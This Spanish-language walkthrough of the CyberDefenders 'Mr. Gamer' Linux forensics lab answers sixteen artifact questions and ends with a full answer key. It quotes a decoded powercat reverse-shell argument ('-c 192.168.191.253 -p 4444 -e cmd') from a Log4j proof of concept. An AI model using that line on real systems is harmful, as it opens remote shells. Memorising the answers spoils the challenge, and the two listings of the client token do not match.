Esta es una guía de cómo resolver, paso a paso, el reto Mr. Gamer de la plataforma Cyberdefenders.org
Tags: Writeups, Writeups Español, Cyberdefenders, Mr. Gamer
Índice
- Preámbulo
1.1 Mitre ATT&CK - Writeup
2.1 Pregunta 1
2.2 Pregunta 2
2.3 Pregunta 3
2.4 Pregunta 4
2.5 Pregunta 5
2.6 Pregunta 6
2.7 Pregunta 7
2.8 Pregunta 8
2.9 Pregunta 9
2.10 Pregunta 10
2.11 Pregunta 11
2.12 Pregunta 12
2.13 Pregunta 13
2.14 Pregunta 14
2.15 Pregunta 15
2.16 Pregunta 16 - Preguntas y respuestas
Preámbulo
Info | Descripción |
---|---|
Reto | Mr. Gamer |
SHA1SUM | 62aa7c7d4fcd3f442365b1d7aa6b12a77e244627 |
Autor | Magnet Forensics, Jordan Kimball, Dylan Navarro, Hayley Froio, Alayna Cash, Jessica Hyde |
Tags | Disk Forensics, FTK Imager, SQLite Browser, CyberChef, T1059 |
Herramietas recomendadas |
---|
Disk Forensics |
FTK Imager |
SQLite Browser |
CyberChef |
Autopsy Forensics |
Escenario
Esta imagen de Linux pertenece a un usuario que le gusta jugar y comunicarse con amigos. ¿Está sucediendo algo bajo la superficie? Pon a prueba tus habilidades de LinuxForensics e identifica anomalías.
Como analista SOC, analiza los artefactos y responde las preguntas.
Mitre ATT&CK
Intérprete de Comandos y Scripts (Command and Scripting Interpreter)
Los adversarios pueden abusar de los intérpretes de comandos y scripts para ejecutar comandos, scripts o binarios. Estas interfaces y lenguajes proporcionan formas de interactuar con los sistemas informáticos y son una característica común en muchas plataformas diferentes. La mayoría de los sistemas incluyen alguna interfaz de línea de comandos y capacidades de scripting incorporadas. Por ejemplo, macOS y las distribuciones de Linux incluyen alguna variante de Unix Shell, mientras que las instalaciones de Windows incluyen Windows Command Shell y PowerShell.
También existen intérpretes multiplataforma como Python, así como aquellos comúnmente asociados con aplicaciones de cliente como JavaScript y Visual Basic.
Los adversarios pueden abusar de estas tecnologías de varias maneras como medio para ejecutar comandos arbitrarios. Los comandos y scripts pueden estar incrustados en cargas útiles de acceso inicial entregadas a las víctimas como documentos señuelo o como cargas útiles secundarias descargadas desde un C2 existente. Los adversarios también pueden ejecutar comandos a través de terminales/interpretes interactivos, así como utilizar varios servicios remotos para lograr la ejecución remota.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Writeup
1. Uso declaraciones de impresión para mis registros -> ¿Cuál es el nombre de la utilidad/biblioteca para la cual el usuario estaba buscando exploits?
Lo primero que se nos debe ocurrir con la información de la pregunta misma es revisar el historial de comando de terminal del sistema. En este caso, podemos encontrar el “bash_history” en la ruta
/home/rafael/.bash_history
Desde el FTK Imager podemos leer el contenido de los ficheros de este tipo, así que tenemos más facilidad para acceder a nuestra respuestas. Revisando la actividad de la bash, encontré que el usuario descargó un repositorio de GitHub, que es una prueba de concepto del conocido malware llamado “log4j”, en lo que parece ser un custom para servidores apache:
Como curiosidad, la vulnerabilidad de ejecución remota de código (RCE) de Log4j, también conocida como Log4Shell, fue descubierta en diciembre de 2021 y afecta a las versiones de log4j desde la 2.0-beta9 hasta la 2.14.1. La vulnerabilidad permite a los atacantes ejecutar código arbitrario en una máquina mediante el registro de una carga útil específica. Esto puede ser explotado por un atacante que pueda controlar los mensajes de registro o los parámetros de los mensajes de registro.
Para mitigar esta vulnerabilidad, se recomienda actualizar a la versión 2.16.0 de log4j o superior si está utilizando Java 8 o posterior. Si está utilizando Java 7, debe actualizar a la versión 2.12.2 de log4j o superior.
2. Lemur travieso -> ¿Cuál es el número de identificación de la versión del sistema operativo en la máquina?
Nos están pidiendo que investiguemos qué versión del SO es de la que se extrajo esta imagen forense. Para esto, en sistemas operativos Linux, podemos encontrar esta información en el siguiente fichero:
/etc/lsb-release
Allí vemos que la versión de Ubuntu es 21.10.
En el subdirectorio del sistema “/etc” vamos a encontrar varios ficheros de configuración de sistema host.
3. #whoami -> ¿Cuál es el nombre del host de la computadora?
Como mencionamos a modo de nota en la pregunta anterior, en el subdirector io “/etc” podemos encontra ficheros del sistema, de entre los cuales veremos uno llamado “hostname”. Allí encontraremos nuestra respuesta:
4. Un pajarito azul me dijo -> ¿Cuál es un anime que le gusta al usuario?
Para responder esta pregunta me confundí un poco por la “pista” que te da la pregunta misma, creía que al hablar de un pajarito azul se refería a información de Twitter, pero no encontré nada relacionado con una aplicación de escritorio relacionada o un historial de navegación que nos diera algo sobre Twitter. Luego vi que hay una carpeta de “thunderbird” en el sistema, que también es un pájaro azul.
Explorando el contenido del directorio, veremos la el siguiente fichero llamado “INBOX”
/home/rafael/.thunderbird/Imap Mail/imap.gmail.com/INBOX
Allí veremos el buzón de entrada de su cuenta de email. Para visualizar mejor la información contenida en el fichero, lo extraje y lo visualicé desde mi navegador y, con un ctrl+f, buscando la palabra “anime”, encontré una entrada que sí hacía referencia a Twitter y al anime de “Attack On Titan”:
5. Entramos en la Matrix -> ¿Cuál es el UUID de la cuenta de Minecraft del atacante?
Si estuvieron explorando los directorios dentro del usuario “rafael”, habrán visto que hay uno llamado “micecraft”. Dentro de ese directorio veremos un fichero llamado “usercache.json” y allí veremos la UUID del usuario:
6. El video de YouTube de hoy es patrocinado por… -> ¿Qué cliente VPN instaló y usó el usuario en la máquina?
Dado que estamos en un SO Linux, revisé el historial de la bash para ver qué estuvo instalando y vi que copio el instalador de “zerotier” que es una interfaz de cliente de Zerotier:
7. Sé nuestro invitado -> ¿Cuál fue la primera contraseña del usuario para el wifi de invitados?
Pues resulta que podemos visualizar los correos de entrada del Thunderbird desde SQLite Browser, importando el siguiente fichero:
/home/rafael/.thunderbird/vrvcx2qf.default-release/global-messages-db-sqlite
Si abrimos la base de nombre “messagesText_content”, y filtramos por “guest”, veremos que, dentro del docid 91, le mandan su contraseña temporal para conectarse a la wifi:
8. Si una imagen vale mil palabras, ¿cuántas vale un video? -> El usuario vio un video que se estrenó el 11 de diciembre de 2021. ¿Cuántas vistas tenía cuando lo vio el 9 de febrero?
Si nos dirigimos a la carpeta de imágenes del usuario, veremos varios screenshots de un vídeo de James Hammond que se estrenó el día que nos Indica la pregunta. Tres de esas capturas de pantalla son de ese vídeo y, la primera de ellas del 9 de febrero, dice nuestra respuesta:
9. Tengo hambre de videos -> ¿Cuál es el nuevo nombre del canal del YouTuber cuyo libro de cocina se muestra en el dispositivo?
Para responder a esta pregunta, hay que dirigirse a la carpeta donde se encuentran almacenadas las thumbnails del sistema:
/home/rafael/.cache
En la imagen que se llama “cbaa054…” veremos el nombre de un libro de cocina. No nos vale con encontrar el autor del libro sino que -lo que yo hice- fue irme a YouTube y buscar por el nombre del libro y allí encontré el canal que necesitamos para nuestra respuesta:
10. Cazar al Wumpus -> ¿Cuál es el módulo con la versión más alta instalada para la aplicación de chat con la mascota Wumpus?
Wumpus es un módulo para Discord. Si revisamos la información sobre la aplicación en:
/home/rafael/.config/discord/0.0.16/modules
Allí encontraremos nuestra respuesta:
11. Están lloviendo ocelotes y lobos -> Según Windows, ¿cuál era la temperatura en Fahrenheit el 11 de febrero de 2022 a las 6:30 PM?
Sabemos que el OS local es un Linux, así que no debemos buscar algún fichero con esa información. Si regresamos a las thumbnails de antes, veremos que varias de las capturas de pantalla almacenadas son de un OS Windows. Hay que ver esas imágenes, el reto es poder visualizar lo que hay dentro. Con el Autopsy lo que podemos ver es la ruta completa de la imagen que estemos viendo. En la siguiente imagen es donde veremos nuestra respuesta: 45F.
12. Nunca voy a… rendirme con esta pregunta -> ¿Cuál es la fecha de subida del segundo video de YouTube en el canal del cual el usuario descargó un video?
En la carpeta de descargas de “rafael” hay un vídeo de un canal llamado “Rick Astley”. Si vamos a ese canal desde YouTube y organizamos desde los más antiguos, veremos que el segundo vídeo que subió al canal fue el llamado “Rick Astley - Whenever You Need Somebody (Official Music Video)” del 25 de octubre del 2009.
13. Abejas zumbonas -> ¿Cuál es el hash SHA-1 de la “última” versión de Minecraft según el sistema?
En la ruta:
/home/rafael/.minecraft/versions
Veremos el fichero llamado “version_manifest_v2.json” donde veremos que la última versión instalada es la 1.18.1 con el siguiente hash:
14. El RCE está basado en base(64) ¿de qué? -> ¿Cuáles fueron las tres banderas y sus valores que se pasaron a powercat? La respuesta debe proporcionarse en el mismo formato que el comando ingresado.
Si nos vamos a la carpeta llamada “marshalsec” encontraremos un script java con nombre “Log4jREC” el cual, si lo abrimos desde el FTK Imager veremos una flag “-enc” con un comando cifrado en base64. Para poder leerlo vamos a tener que usar el CyberChef:
Hay que copiar y pegar la línea, previamente habiendo configurado la “Recipe” como “From Base64”:
Si guardamos el resultado y lo abrimos desde el bloc de notas veremos nuestra respuesta:
15. Hola (Nuevo) Mundo -> ¿A cuántas dimensiones (incluyendo el supramundo) viajó el jugador en el “más antiguo de los mundos”?
Hay que explorar lo que hay dentro de la carpeta de Minecraft la que tanto hemos visitado. Después de un rato encontré la carpeta “saves” donde hay información sobre “New World”, lo que hace referencia a la pista de la pregunta:
Supongo que la haber un solo log, la respuesta es 1, pero hay que ponerlo en letra “one”.
16. Matrix_1999 es la clave! -> ¿Cuál es el mojangClientToken almacenado en el Keystore?
LA respuesta es: 2f76c8b04c004ddd888a05a6cad6be52
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Preguntas y respuestas
-
Uso declaraciones de impresión para mis registros -> ¿Cuál es el nombre de la utilidad/biblioteca para la cual el usuario estaba buscando exploits?
log4j -
Lemur travieso -> ¿Cuál es el número de identificación de la versión del sistema operativo en la máquina?
21.10 -
#whoami -> ¿Cuál es el nombre del host de la computadora?
rshell-lenovo -
Un pajarito azul me dijo -> ¿Cuál es un anime que le gusta al usuario?
Attack On Titan -
Entramos en la Matrix -> ¿Cuál es el UUID de la cuenta de Minecraft del atacante?
8b0dec19-b463-477e-9548-eef20c861492 -
El video de YouTube de hoy es patrocinado por… -> ¿Qué cliente VPN instaló y usó el usuario en la máquina?
zerotier -
Sé nuestro invitado -> ¿Cuál fue la primera contraseña del usuario para el wifi de invitados?
093483 -
Si una imagen vale mil palabras, ¿cuántas vale un video? -> El usuario vio un video que se estrenó el 11 de diciembre de 2021. ¿Cuántas vistas tenía cuando lo vio el 9 de febrero?
265342 -
Tengo hambre de videos -> ¿Cuál es el nuevo nombre del canal del YouTuber cuyo libro de cocina se muestra en el dispositivo?
Babish Culinary Universe -
Cazar al Wumpus -> ¿Cuál es el módulo con la versión más alta instalada para la aplicación de chat con la mascota Wumpus?
discord_voice -
Están lloviendo ocelotes y lobos -> Según Windows, ¿cuál era la temperatura en Fahrenheit el 11 de febrero de 2022 a las 6:30 PM?
45F -
Nunca voy a… rendirme con esta pregunta -> ¿Cuál es la fecha de subida del segundo video de YouTube en el canal del cual el usuario descargó un video?
10/25/2009 -
Abejas zumbonas -> ¿Cuál es el hash SHA-1 de la “última” versión de Minecraft según el sistema?
3c6e119c0ff307accf31b596f9cd47ffa2ec6305 -
El RCE está basado en base(64) ¿de qué? -> ¿Cuáles fueron las tres banderas y sus valores que se pasaron a powercat? La respuesta debe proporcionarse en el mismo formato que el comando ingresado. (Por ejemplo, si el comando fue “powercat -D Y -l a -n,” la respuesta sería “-D Y -l a -n”)
-c 192.168.191.253 -p 4444 -e cmd -
Hola (Nuevo) Mundo -> ¿A cuántas dimensiones (incluyendo el supramundo) viajó el jugador en el “más antiguo de los mundos”?
One -
Matrix_1999 es la clave! -> ¿Cuál es el mojangClientToken almacenado en el Keystore?
2f76c8b04c004ddd888a05a6cad6